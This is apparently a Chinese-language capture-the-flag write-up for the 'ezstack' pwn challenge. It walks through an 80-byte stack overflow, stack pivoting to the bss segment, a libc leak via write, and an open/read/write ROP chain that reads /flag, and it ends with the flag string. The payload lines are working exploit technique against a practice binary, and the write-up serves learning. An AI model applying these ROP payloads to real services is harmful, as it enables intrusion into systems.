ezstack
关于本题环境
这题的socket一系列操作相当于创建了一个可以接受多个连接的监听
监听所有IP地址的绑定在端口9999上的进程,而fork()是用来创建子进程的,
题目给了
dockerfile
和start.sh
,意思让我们自己本地搭个docker容器,不知道原因,先搭吧我用的是wsl2,安装docker插件的话启动docker desktop自动读取
libc-2.31.so
提取出来
本地启动./vuln之后,vscode跳出
在脚本中调用gdb.attach(io),通过io=remote(“127.0.0.1”,9999)连接即可,一个shell运行一个shell调试
解析
保护
主要函数是这个,80大小和0x60,就是经典栈溢出,但是这里需要16字节的溢出空间明显不够,需要进行栈迁移 寻找一下控制栈的gadget
找到一个很好的gadget
-
payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
-
泄露libc
payload = p64(bss + 0x50) + p64(rsi_r15) + p64(write_got) + p64(1) + p64(write_plt) + p64(rsi_r15) + p64(bss) + p64(bss) + p64(read_plt) + p64(ret) + p64(bss - 0x50) + p64(leave_ret)
具体讲一下这里是如何迁移的(栈迁移是一个需要加深印象的难点),这里迁移后将bss加上0x50作为栈上数据后填充rsi和r15用于控制(后续用),调用write
函数后就可以将数据存储到bss中,并通过read去读取泄露出了write的实际地址来泄露libc的地址,然后返回 -
再次栈迁移准备系统调用
read
并再次返回到指定bss段位置payload = p64(rdi) + p64(4) + p64(rsi) + p64(bss - 0x200) + p64(rdx_r12) + p64(0x200) + p64(0x200) + p64(read_plt) + p64(leave_ret) + p64(leave_ret) + p64(bss - 0x200) + p64(leave_ret)
-
系统调用并读取flag
payload = p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(bss + 192) + p64(rsi) + p64(0) + p64(syscall) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(read_plt) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(write_plt) + b"/flag"
exp
|
|
hgame{ThlS-1S-4_v3rY_E@5Y-St4ck_Pwn11a9bd4}
ξ( ✿>◡❛) There is an obvious stack overflow here.